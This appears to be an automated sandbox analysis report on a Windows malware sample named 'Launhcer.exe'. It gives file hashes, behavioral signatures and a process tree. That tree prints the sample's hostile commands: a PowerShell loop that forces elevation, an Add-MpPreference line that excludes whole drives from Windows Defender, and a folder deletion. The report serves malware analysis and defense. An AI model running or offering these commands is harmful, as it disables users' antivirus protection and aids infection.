Analysis

  • max time kernel
    140s
  • max time network
    262s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/11/2024, 14:07

General

  • Target

    data/appInfo/services/Launhcer.exe

  • Size

    364KB

  • MD5

    e5c00b0bc45281666afd14eef04252b2

  • SHA1

    3b6eecf8250e88169976a5f866d15c60ee66b758

  • SHA256

    542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

  • SHA512

    2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

  • SSDEEP

    6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe
    "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2592
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2720
      • C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe
        "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1196
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4908
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4284

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    968cb9309758126772781b83adb8a28f

    SHA1

    8da30e71accf186b2ba11da1797cf67f8f78b47c

    SHA256

    92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

    SHA512

    4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    12adb06b5d4d2622419985ff903b0e97

    SHA1

    b252c82e4e2b2a24b7ae5cba358af5dcd4aa7da8

    SHA256

    1b88795ccec1aa6c14f8b3f53523368c14650e250d924a1d00bab7dbcae2d2b0

    SHA512

    f2de1b70ac9d79f530b5ef6fef193a546a2a325fb5c528ede3410570c54b6cfd3a4d3721d7918b1b6c47549b123afa27b74960a4987555c995d09e672b4558ac

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mmxpnhq2.b1f.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2720-20-0x0000000005EF0000-0x0000000005F3C000-memory.dmp

    Filesize

    304KB

  • memory/2720-22-0x0000000006380000-0x000000000639A000-memory.dmp

    Filesize

    104KB

  • memory/2720-7-0x0000000005790000-0x00000000057F6000-memory.dmp

    Filesize

    408KB

  • memory/2720-5-0x0000000005020000-0x0000000005648000-memory.dmp

    Filesize

    6.2MB

  • memory/2720-8-0x0000000005870000-0x00000000058D6000-memory.dmp

    Filesize

    408KB

  • memory/2720-18-0x0000000005A60000-0x0000000005DB4000-memory.dmp

    Filesize

    3.3MB

  • memory/2720-19-0x0000000005E40000-0x0000000005E5E000-memory.dmp

    Filesize

    120KB

  • memory/2720-56-0x00000000733AE000-0x00000000733AF000-memory.dmp

    Filesize

    4KB

  • memory/2720-21-0x0000000007020000-0x00000000070B6000-memory.dmp

    Filesize

    600KB

  • memory/2720-6-0x00000000056C0000-0x00000000056E2000-memory.dmp

    Filesize

    136KB

  • memory/2720-23-0x00000000063A0000-0x00000000063C2000-memory.dmp

    Filesize

    136KB

  • memory/2720-24-0x00000000076C0000-0x0000000007C64000-memory.dmp

    Filesize

    5.6MB

  • memory/2720-63-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/2720-2-0x00000000733AE000-0x00000000733AF000-memory.dmp

    Filesize

    4KB

  • memory/2720-4-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/2720-3-0x0000000002520000-0x0000000002556000-memory.dmp

    Filesize

    216KB

  • memory/2720-58-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/2720-57-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/4908-34-0x0000000007A50000-0x0000000007A82000-memory.dmp

    Filesize

    200KB

  • memory/4908-50-0x0000000007E00000-0x0000000007E0E000-memory.dmp

    Filesize

    56KB

  • memory/4908-51-0x0000000007E10000-0x0000000007E24000-memory.dmp

    Filesize

    80KB

  • memory/4908-52-0x0000000007E50000-0x0000000007E6A000-memory.dmp

    Filesize

    104KB

  • memory/4908-53-0x0000000007E40000-0x0000000007E48000-memory.dmp

    Filesize

    32KB

  • memory/4908-49-0x0000000007DD0000-0x0000000007DE1000-memory.dmp

    Filesize

    68KB

  • memory/4908-48-0x0000000007C50000-0x0000000007C5A000-memory.dmp

    Filesize

    40KB

  • memory/4908-47-0x0000000008230000-0x00000000088AA000-memory.dmp

    Filesize

    6.5MB

  • memory/4908-46-0x0000000007A90000-0x0000000007B33000-memory.dmp

    Filesize

    652KB

  • memory/4908-45-0x0000000007A10000-0x0000000007A2E000-memory.dmp

    Filesize

    120KB

  • memory/4908-35-0x000000006FCE0000-0x000000006FD2C000-memory.dmp

    Filesize

    304KB